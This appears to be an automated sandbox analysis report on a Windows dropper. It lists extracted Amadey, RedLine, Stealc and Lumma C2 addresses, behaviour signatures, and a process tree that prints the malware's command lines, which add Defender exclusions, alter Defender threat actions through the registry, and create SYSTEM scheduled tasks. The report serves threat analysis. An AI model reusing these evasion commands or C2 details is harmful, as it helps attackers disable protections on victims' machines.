Analysis

  • max time kernel
    93s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-05-2024 22:54

General

  • Target

    b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe

  • Size

    1.8MB

  • MD5

    e233413f3e354acc52ee4975bb82d590

  • SHA1

    40b53bf535aff421917c07e71d2885c67988038d

  • SHA256

    b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696

  • SHA512

    7519fc119212d7c690dd581c681f1688e5483d71d9b97e0e52e8fdbd39826e7c62180666d4d821b91bacbc2c6384c1de9a252cbfaf9f47ad9c129e720e41fa7f

  • SSDEEP

    24576:kORgkwKReCjL7SpLkNB564KBnnq7ndUt8CP4tc+OBo+jYayeyC8QBi9DeN/iuJM9:5gkwseUWk0qRUg+jieYQkA4OjvYu2of

Malware Config

Extracted

Family

amadey

Version

4.21

Botnet

49e482

C2

http://147.45.47.70

Attributes
  • install_dir

    1b29d73536

  • install_file

    axplont.exe

  • strings_key

    4d31dd1a190d9879c21fac6d87dc0043

  • url_paths

    /tr8nomy/index.php

rc4.plain

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:40960

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

C2

185.172.128.33:8970

Extracted

Family

stealc

Botnet

zzvv

C2

http://23.88.106.134

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

lumma

C2

https://roomabolishsnifftwk.shop/api

https://museumtespaceorsp.shop/api

https://detailbaconroollyws.shop/api

https://buttockdecarderwiso.shop/api

https://horsedwollfedrwos.shop/api

https://averageaattractiionsl.shop/api

https://femininiespywageg.shop/api

https://employhabragaomlsp.shop/api

https://stalfbaclcalorieeis.shop/api

https://patternapplauderw.shop/api

https://understanndtytonyguw.shop/api

https://civilianurinedtsraov.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • Modifies firewall policy service 2 TTPs 1 IoCs
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 4 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 3 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 11 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 6 IoCs
  • Executes dropped EXE 19 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 4 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 55 IoCs
  • Suspicious use of AdjustPrivilegeToken 59 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe
    "C:\Users\Admin\AppData\Local\Temp\b097d587bcd2e7250cba4c4048e6c22ab00a662b8d45dbff9d7a8ac500b22696.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3696
    • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
      "C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3812
      • C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
        "C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Checks computer location settings
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2096
          • C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
            "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
            5⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3020
          • C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
            "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3068
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
            5⤵
              PID:6068
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 3
                6⤵
                  PID:3120
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1808 -s 276
              4⤵
              • Program crash
              PID:3696
          • C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
            "C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"
            3⤵
            • Executes dropped EXE
            • Modifies system certificate store
            PID:3568
          • C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
            "C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:4468
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
                PID:2952
            • C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
              "C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:2984
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                4⤵
                  PID:1548
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  4⤵
                    PID:4532
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    4⤵
                      PID:1916
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2984 -s 300
                      4⤵
                      • Program crash
                      PID:5316
                  • C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:1748
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      4⤵
                        PID:2088
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        4⤵
                        • Checks computer location settings
                        • Checks processor information in registry
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4128
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit
                          5⤵
                            PID:3800
                            • C:\Windows\SysWOW64\timeout.exe
                              timeout /t 5
                              6⤵
                              • Delays execution with timeout.exe
                              PID:3196
                      • C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"
                        3⤵
                        • UAC bypass
                        • Windows security bypass
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Windows security modification
                        • Checks whether UAC is enabled
                        • Suspicious use of SetThreadContext
                        • Suspicious use of AdjustPrivilegeToken
                        • System policy modification
                        PID:4976
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe" -Force
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1600
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                          4⤵
                          • Drops startup file
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4748
                          • C:\Users\Admin\Pictures\gLev4JkALuFVmMKAIsGAWyIf.exe
                            "C:\Users\Admin\Pictures\gLev4JkALuFVmMKAIsGAWyIf.exe" /s
                            5⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Writes to the Master Boot Record (MBR)
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5452
                          • C:\Users\Admin\Pictures\8fdEuUbfYToYKhDcRYPeLZ0N.exe
                            "C:\Users\Admin\Pictures\8fdEuUbfYToYKhDcRYPeLZ0N.exe"
                            5⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5564
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                              6⤵
                                PID:6020
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                  7⤵
                                    PID:4784
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                  6⤵
                                    PID:2952
                                • C:\Users\Admin\Pictures\bg76dZhV9E7e0SJaoBx5AJjE.exe
                                  "C:\Users\Admin\Pictures\bg76dZhV9E7e0SJaoBx5AJjE.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:5988
                                • C:\Users\Admin\Pictures\5hN4UciOtFCyoPjG18IKIh76.exe
                                  "C:\Users\Admin\Pictures\5hN4UciOtFCyoPjG18IKIh76.exe"
                                  5⤵
                                  • Modifies firewall policy service
                                  • Windows security bypass
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Windows security modification
                                  • Checks whether UAC is enabled
                                  • Drops file in System32 directory
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  PID:6084
                                • C:\Users\Admin\Pictures\BozZtwN2ch7zu3w6ykr1G4Nt.exe
                                  "C:\Users\Admin\Pictures\BozZtwN2ch7zu3w6ykr1G4Nt.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  PID:5340
                                  • C:\Users\Admin\AppData\Local\Temp\7zSCA31.tmp\Install.exe
                                    .\Install.exe
                                    6⤵
                                    • Executes dropped EXE
                                    PID:5464
                                    • C:\Users\Admin\AppData\Local\Temp\7zSD51E.tmp\Install.exe
                                      .\Install.exe /NQHxdidUQs "385118" /S
                                      7⤵
                                      • Checks BIOS information in registry
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      • Enumerates system info in registry
                                      PID:1552
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                        8⤵
                                          PID:2432
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                            9⤵
                                              PID:3548
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                10⤵
                                                  PID:1276
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                    11⤵
                                                      PID:1152
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                  9⤵
                                                    PID:2964
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                      10⤵
                                                        PID:1312
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                          11⤵
                                                            PID:2028
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                        9⤵
                                                          PID:4780
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                            10⤵
                                                              PID:5800
                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                11⤵
                                                                  PID:5812
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                              9⤵
                                                                PID:5952
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                  10⤵
                                                                    PID:5528
                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                      11⤵
                                                                        PID:4164
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                    9⤵
                                                                      PID:6140
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                        10⤵
                                                                          PID:4864
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                            11⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:5272
                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                              12⤵
                                                                                PID:1108
                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                        8⤵
                                                                          PID:4688
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                            9⤵
                                                                              PID:2344
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                10⤵
                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:2152
                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                  11⤵
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:5880
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 22:56:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSD51E.tmp\Install.exe\" 1g /pBjdiddHUx 385118 /S" /V1 /F
                                                                            8⤵
                                                                            • Drops file in Windows directory
                                                                            • Creates scheduled task(s)
                                                                            PID:3216
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"
                                                                            8⤵
                                                                              PID:1512
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C schtasks /run /I /tn bqGGCwwWIommTRgeuN
                                                                                9⤵
                                                                                  PID:5512
                                                                                  • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                    schtasks /run /I /tn bqGGCwwWIommTRgeuN
                                                                                    10⤵
                                                                                      PID:2060
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 800
                                                                                  8⤵
                                                                                  • Program crash
                                                                                  PID:3576
                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                                          4⤵
                                                                            PID:2916
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1808 -ip 1808
                                                                      1⤵
                                                                        PID:4224
                                                                      • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                        1⤵
                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                        • Checks BIOS information in registry
                                                                        • Executes dropped EXE
                                                                        • Identifies Wine through registry keys
                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:3336
                                                                      • C:\Windows\System32\sihclient.exe
                                                                        C:\Windows\System32\sihclient.exe /cv Gdl5ufjOBEqf6rJtqodfhA.0.2
                                                                        1⤵
                                                                          PID:1748
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2984 -ip 2984
                                                                          1⤵
                                                                            PID:5252
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                            1⤵
                                                                              PID:3500
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                              1⤵
                                                                                PID:5036
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSD51E.tmp\Install.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\7zSD51E.tmp\Install.exe 1g /pBjdiddHUx 385118 /S
                                                                                1⤵
                                                                                • Executes dropped EXE
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:4236
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                  2⤵
                                                                                    PID:4516
                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                      3⤵
                                                                                        PID:5432
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                          4⤵
                                                                                            PID:1260
                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                              5⤵
                                                                                                PID:3444
                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                            3⤵
                                                                                              PID:5388
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                4⤵
                                                                                                  PID:5664
                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                    5⤵
                                                                                                      PID:2636
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                  3⤵
                                                                                                    PID:1032
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                      4⤵
                                                                                                        PID:3216
                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                          5⤵
                                                                                                            PID:4504
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                        3⤵
                                                                                                          PID:4616
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                            4⤵
                                                                                                              PID:2964
                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                5⤵
                                                                                                                  PID:5360
                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                              forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                              3⤵
                                                                                                                PID:4300
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                  4⤵
                                                                                                                    PID:5316
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                      5⤵
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
